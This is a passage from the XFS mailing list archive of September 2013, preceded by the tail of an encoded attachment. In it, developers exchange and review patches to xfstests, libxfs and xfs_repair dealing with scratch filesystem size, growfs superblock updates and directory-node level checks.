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 ------=_NextPart_000_01B6_01CEAE31.D4FBDEF0-- From JBacik@fusionio.com Tue Sep 10 08:39:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E6C477F54 for ; Tue, 10 Sep 2013 08:39:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 76075304043 for ; Tue, 10 Sep 2013 06:39:47 -0700 (PDT) X-ASG-Debug-ID: 1378820385-04cb6c2e9fea8b60001-NocioJ Received: from dkim2.fusionio.com (dkim2.fusionio.com [66.114.96.54]) by cuda.sgi.com with ESMTP id ER39yzRoeHCb1KTa (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 10 Sep 2013 06:39:46 -0700 (PDT) X-Barracuda-Envelope-From: JBacik@fusionio.com X-Barracuda-Apparent-Source-IP: 66.114.96.54 Received: from mx2.fusionio.com (unknown [10.101.1.160]) by dkim2.fusionio.com (Postfix) with ESMTP id 6DB819A06AB for ; Tue, 10 Sep 2013 07:39:45 -0600 (MDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fusionio.com; s=default; t=1378820385; bh=cioSIssXEpc6E8pjbjX5enNQpBffX42yQoHKsCLe7Dk=; h=From:To:Subject:Date; b=VBMK+pexudVy/jkuOgw2/LTY021/NtOxSlcS0P6zLV0fE/ED+prCY4fxqlVZXXg+1 Z7UTP6J+8X+sFNxqE2tmF96yTCvi3wEFdq6LfH+ZHG2fikJctmRnHxf7zBOj+XVSAq vFFGIFReQiOnRGQIBR5n28RAWiXaShuwI1QkRY10= Received: from CAS2.int.fusionio.com (cas2.int.fusionio.com [10.101.1.41]) by mx2.fusionio.com with ESMTP id TprGDJfFRA9KeFlX (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO); Tue, 10 Sep 2013 07:39:44 -0600 (MDT) Received: from localhost (10.101.1.160) by mail.fusionio.com (10.101.1.41) with Microsoft SMTP Server (TLS) id 14.3.158.1; Tue, 10 Sep 2013 07:39:03 -0600 From: Josef Bacik To: , Subject: [PATCH] xfstests: generic/274 increase scratch fs size to 2g Date: Tue, 10 Sep 2013 09:39:02 -0400 X-ASG-Orig-Subj: [PATCH] xfstests: generic/274 increase scratch fs size to 2g Message-ID: <1378820342-6748-1-git-send-email-jbacik@fusionio.com> X-Mailer: git-send-email 1.7.7.6 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [10.101.1.160] X-Virus-Scanned: by bsmtpd at fusionio.com X-Barracuda-Connect: dkim2.fusionio.com[66.114.96.54] X-Barracuda-Start-Time: 1378820385 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140498 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature With 1 gig btrfs defaults to mixed block groups, so we ENOSPC in this test because we run out of metadata space, not data space. Increasing to 2g allows us to use our normal setup and allows us to pass this test. Thanks, Signed-off-by: Josef Bacik --- tests/generic/274 | 2 +- 1 files changed, 1 insertions(+), 1 deletions(-) diff --git a/tests/generic/274 b/tests/generic/274 index da45fab..7c4887f 100755 --- a/tests/generic/274 +++ b/tests/generic/274 @@ -57,7 +57,7 @@ echo "------------------------------" rm -f $seqres.full umount $SCRATCH_DEV 2>/dev/null -_scratch_mkfs_sized $((1 * 1024 * 1024 * 1024)) >>$seqres.full 2>&1 +_scratch_mkfs_sized $((2 * 1024 * 1024 * 1024)) >>$seqres.full 2>&1 _scratch_mount # Create a 4k file and Allocate 4M past EOF on that file -- 1.7.7.6 From tinguely@sgi.com Tue Sep 10 09:11:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 617757F54 for ; Tue, 10 Sep 2013 09:11:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2CFD18F8052; Tue, 10 Sep 2013 07:11:43 -0700 (PDT) Message-ID: <522F289E.6070802@sgi.com> Date: Tue, 10 Sep 2013 09:11:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55 V2] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> In-Reply-To: <20130910010241.GZ12779@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/09/13 20:02, Dave Chinner wrote: > diff --git a/include/xfs_sb.h b/include/xfs_sb.h > index 4a710d6..04fe32a 100644 > --- a/include/xfs_sb.h > +++ b/include/xfs_sb.h > @@ -26,6 +26,7 @@ > > struct xfs_buf; > struct xfs_mount; > +struct xfs_trans; > > #define XFS_SB_MAGIC 0x58465342 /* 'XFSB' */ > #define XFS_SB_VERSION_1 1 /* 5.3, 6.0.1, 6.1 */ > @@ -630,6 +631,12 @@ static inline int xfs_sb_version_has_pquotino(xfs_sb_t *sbp) > return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; > } > > +static inline bool > +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) > +{ > + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); > +} > + > /* Thanks Dave for doing all this work. The current kernel xfs_sb.h has an additional " || ino == sbp->sb_pquotino" from kernel commit d892d586 that is not making it into user xfs_sb.h. It is wrong to add it here but in a follow up patch (Chandra?). I am happy with the kernel / user sync series. Reviewed-by: Mark Tinguely From tinguely@sgi.com Tue Sep 10 10:21:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 957887F54 for ; Tue, 10 Sep 2013 10:21:53 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54FD3304059; Tue, 10 Sep 2013 08:21:50 -0700 (PDT) Message-ID: <522F390D.20809@sgi.com> Date: Tue, 10 Sep 2013 10:21:49 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error References: <520D1AAC.8090701@redhat.com> <522E3142.7090501@sandeen.net> In-Reply-To: <522E3142.7090501@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/09/13 15:36, Eric Sandeen wrote: > On 8/15/13 1:15 PM, Eric Sandeen wrote: >> When xfs_growfs_data_private() is updating backup superblocks, >> it bails out on the first error encountered, whether reading or >> writing: > > Any thoughts on this one? W/ the verifiers, we have a higher > chance of encountering an error, and leaving the rest of the > supers un-updated. Repair will then possibly revert the fs to > it's pre-growfs state, and data loss will ensue... > > Thanks, > -Eric > >> * If we get an error writing out the alternate superblocks, >> * just issue a warning and continue. The real work is >> * already done and committed. >> >> This can cause a problem later during repair, because repair >> looks at all superblocks, and picks the most prevalent one >> as correct. If we bail out early in the backup superblock >> loop, we can end up with more "bad" matching superblocks than >> good, and a post-growfs repair may revert the filesystem to >> the old geometry. >> >> With the combination of superblock verifiers and old bugs, >> we're more likely to encounter read errors due to verification. >> >> And perhaps even worse, we don't even properly write any of the >> newly-added superblocks in the new AGs. >> >> Even with this change, growfs will still say: >> >> xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning >> data blocks changed from 319815680 to 335216640 >> >> which might be confusing to the user, but it at least communicates >> that something has gone wrong, and dmesg will probably highlight >> the need for an xfs_repair. >> >> And this is still best-effort; if verifiers fail on more than >> half the backup supers, they may still "win" - but that's probably >> best left to repair to more gracefully handle by doing its own >> strict verification as part of the backup super "voting." >> >> Signed-off-by: Eric Sandeen >> --- Make sense to me - it could have been any kind of error including not being able to get a xfs_buf for the new secondary (a temp ENOMEM). I wonder if it could be possible to fix corrupt entries rather than just skip them... Probably could test this patch by corrupting a v5 secondary superblock and verifying with xfs_db. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Tue Sep 10 10:23:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ABD827F55 for ; Tue, 10 Sep 2013 10:23:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7A1D68F8059 for ; Tue, 10 Sep 2013 08:23:38 -0700 (PDT) X-ASG-Debug-ID: 1378826617-04bdf02f20ee7320001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id pSdsB639kv0H6Gdz for ; Tue, 10 Sep 2013 08:23:37 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8F1D165A8128; Tue, 10 Sep 2013 10:23:36 -0500 (CDT) Message-ID: <522F3977.3000702@sandeen.net> Date: Tue, 10 Sep 2013 10:23:35 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: Eric Sandeen , "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error References: <520D1AAC.8090701@redhat.com> <522E3142.7090501@sandeen.net> <522F390D.20809@sgi.com> X-ASG-Orig-Subj: Re: [PATCH, RFC] xfs: don't break from growfs ag update loop on error In-Reply-To: <522F390D.20809@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378826617 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=COMMA_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140500 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 COMMA_SUBJECT Subject is like 'Re: FDSDS, this is a subject' On 9/10/13 10:21 AM, Mark Tinguely wrote: > On 09/09/13 15:36, Eric Sandeen wrote: >> On 8/15/13 1:15 PM, Eric Sandeen wrote: >>> When xfs_growfs_data_private() is updating backup superblocks, >>> it bails out on the first error encountered, whether reading or >>> writing: >> >> Any thoughts on this one? W/ the verifiers, we have a higher >> chance of encountering an error, and leaving the rest of the >> supers un-updated. Repair will then possibly revert the fs to >> it's pre-growfs state, and data loss will ensue... >> >> Thanks, >> -Eric >> >>> * If we get an error writing out the alternate superblocks, >>> * just issue a warning and continue. The real work is >>> * already done and committed. >>> >>> This can cause a problem later during repair, because repair >>> looks at all superblocks, and picks the most prevalent one >>> as correct. If we bail out early in the backup superblock >>> loop, we can end up with more "bad" matching superblocks than >>> good, and a post-growfs repair may revert the filesystem to >>> the old geometry. >>> >>> With the combination of superblock verifiers and old bugs, >>> we're more likely to encounter read errors due to verification. >>> >>> And perhaps even worse, we don't even properly write any of the >>> newly-added superblocks in the new AGs. >>> >>> Even with this change, growfs will still say: >>> >>> xfs_growfs: XFS_IOC_FSGROWFSDATA xfsctl failed: Structure needs cleaning >>> data blocks changed from 319815680 to 335216640 >>> >>> which might be confusing to the user, but it at least communicates >>> that something has gone wrong, and dmesg will probably highlight >>> the need for an xfs_repair. >>> >>> And this is still best-effort; if verifiers fail on more than >>> half the backup supers, they may still "win" - but that's probably >>> best left to repair to more gracefully handle by doing its own >>> strict verification as part of the backup super "voting." >>> >>> Signed-off-by: Eric Sandeen >>> --- > > Make sense to me - it could have been any kind of error including not being able to get a xfs_buf for the new secondary (a temp ENOMEM). > > I wonder if it could be possible to fix corrupt entries rather than just skip them... Well, that should be xfs_repair's job right - and I think it does? (Esp. w/ my other patch, [PATCH] xfs_repair: zero out unused parts of superblocks) but we'd want growfs to alert the user of the problem one way or another... -Eric > Probably could test this patch by corrupting a v5 secondary superblock and verifying with xfs_db. > > Reviewed-by: Mark Tinguely > From sandeen@sandeen.net Tue Sep 10 10:46:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 52DA27F54 for ; Tue, 10 Sep 2013 10:46:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1C72AC007 for ; Tue, 10 Sep 2013 08:46:20 -0700 (PDT) X-ASG-Debug-ID: 1378827979-04cb6c2e9deb3780001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id satOEDQRZXEeBVNI for ; Tue, 10 Sep 2013 08:46:19 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id D357165A8129; Tue, 10 Sep 2013 10:46:18 -0500 (CDT) Message-ID: <522F3EC9.2040807@sandeen.net> Date: Tue, 10 Sep 2013 10:46:17 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" , Mark Tinguely Subject: Re: [PATCH] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <20130910004539.GY12779@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_repair: test for bad level in dir2 node In-Reply-To: <20130910004539.GY12779@dastard> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1378827979 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140500 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/9/13 7:45 PM, Dave Chinner wrote: > On Wed, Sep 04, 2013 at 10:19:50AM -0500, Eric Sandeen wrote: >> In traverse_int_dir2block(), the variable 'i' is the level in >> the tree, with 0 being a leaf node. In the "do" loop we >> start at the root, and work our way down to a leaf. >> >> If the first node we read is an interior node with NODE_MAGIC, >> but it tells us that its level is 0 (a leaf), this is clearly >> an inconsistency. >> >> Worse, we'd return with success, bno set, and only level[0] >> in the cursor initialized. Then down this path we'll >> segfault when accessing an uninitialized (and zeroed) member >> of the cursor's level array: >> >> process_node_dir2 >> traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd >> process_leaf_level_dir2 >> verify_dir2_path(mp, da_cursor, 0) // p_level == 0 >> this_level = p_level + 1; >> node = cursor->level[this_level].bp->b_addr; // level[1] uninit & 0'd >> >> Fix this by recognizing that an interior node w/ level 0 is invalid, and >> error out as for other inconsistencies. >> >> Signed-off-by: Eric Sandeen >> --- >> >> My only testcase for this is Jan Yves Brueckner's badly corrupted >> filesystem image. With this change, we get i.e. : >> >> +bad level in interior inode for directory inode 39869938 >> +corrupt block 6 in directory inode 39869957 >> + will junk block >> >> diff --git a/repair/dir2.c b/repair/dir2.c >> index 05bd4b7..20c6e1a 100644 >> --- a/repair/dir2.c >> +++ b/repair/dir2.c >> @@ -220,6 +220,16 @@ _("bad record count in inode %" PRIu64 ", count = %d, max = %d\n"), >> */ >> if (i == -1) { >> i = da_cursor->active = nodehdr.level; >> + if (i == 0 && >> + (nodehdr.magic == XFS_DA_NODE_MAGIC || >> + nodehdr.magic == XFS_DA3_NODE_MAGIC)) { >> + do_warn( >> +_("bad level 0 in interior inode for directory inode %" PRIu64 "\n"), >> + da_cursor->ino); >> + libxfs_putbuf(bp); >> + i = -1; >> + goto error_out; >> + } >> if (i >= XFS_DA_NODE_MAXDEPTH) { >> do_warn( >> _("bad header depth for directory inode %" PRIu64 "\n"), > > Looks sane, though wouldn't it be better to check for the correct > header magic number (i.e LEAF1/LEAFN) here? i.e. if we are at level > zero and we don't have a leaf, then there's something wrong. This > will only catch the case of 